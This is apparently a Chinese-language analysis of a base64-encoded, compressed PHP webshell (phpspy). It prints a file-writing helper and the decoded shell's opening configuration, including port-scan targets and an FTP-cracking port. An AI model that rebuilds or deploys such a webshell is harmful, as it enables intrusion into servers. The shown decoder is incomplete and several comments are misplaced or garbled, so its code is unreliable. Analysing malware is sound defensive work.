分析可以知道，此木马经过了base64进行了编码，然后进行压缩。虽然做了相关的保密措施，可是php代码要执行，其最终要生成php源代码，所以写出如下php程序对其进行解码，解压缩，写入文件。解码解压缩代码如下：
[复制此代码]CODE:
<?php
function writetofile($filename, $data)
{ //File Writing
$filenum=@fopen($filename,"w");
if (!$filenum) {
return false;
}
flock($filenum,LOCK_EX);
$file_data=fwrite($filenum,$data);
fclose($filenum);
return true;
}
?>
然后在php的环境下进行运行，会得到php明文文件如下：
[复制此代码]CODE:
error_reporting(7);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
@set_time_limit(0);
//非安全模式可以使用上面的函数，超时取消。
/*===================== 程序配置 =====================*/
// 是否需要密码验证,1为需要验证，其他数字为直接进入.下面选项则无效 松毛虫蛹$admin['check'] = "1";
// 如果需要密码验证，请修改登陆密码
//默认端口表
$hidden = "44997";
$admin['port'] = "80,139,21,3389,3306,43958,1433,5631";
//跳转用的秒
$admin['jumpsecond'] = "1";
/
/Ftp破解用的连接端口
$alexa = "yes";
//是否显示alexa排名，yes或是no
$admin['ftpport'] = "21";
// 是否允许phpspy本身自动修改编辑后文件的时间为建立时间(yes/no)
$retime = "no";
// 默认的位置,proc_open函数要使用的,linux系统请对应修改.(假设是winnt系统在程序里依然可以指定)
$cmd = "";
// 下面是phpspy显示版权那栏的，因为被很多程序当成作为关键词杀了，鱼寒~~允许自定义吧。还是不懂别改~~
